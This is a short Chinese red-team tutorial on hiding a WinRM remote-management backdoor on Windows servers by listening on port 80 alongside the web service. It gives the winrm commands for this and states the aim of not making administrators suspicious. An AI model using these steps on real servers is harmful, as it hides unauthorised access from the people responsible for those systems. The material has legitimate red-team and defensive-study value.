红蓝对抗 | Windows利用WinRM实现端口复用打造隐蔽后门

新增80端口监听

对于Windows Server 2012以上的服务器操作系统中，WinRM服务默认启动并监听了5985端口。如果服务器本来就监听了80和5985端口，则所以我们既需要保留原本的5985监听端口，同时需要新增Winrm监听80端口。这样的话，WinRM同时监听80和5985端口。既能保证原来的5985端口管理员可以正常使用，我们也能通过80端口远程连接WinRM。

通过下面的命令，可以新增WinRM一个80端口的监听。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

查看监听端口，80和5985都在监听

80端口仍然可以正常访问网页

如果该计算机上原本没有开启WinRM服务的话，则需要将WinRm端口监听端口修改为80端口。不然管理员看到该机器开起来5985端口的话，肯定会起疑心。

快速启动WinRM

winrm  quickconfig  -q

修改WinRM默认端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

查看监听端口，只有80，没有5985

配置完成之后，原本的HTTP服务可以正常访问，我们也可以通过80端口进行远程WinRM连接管理。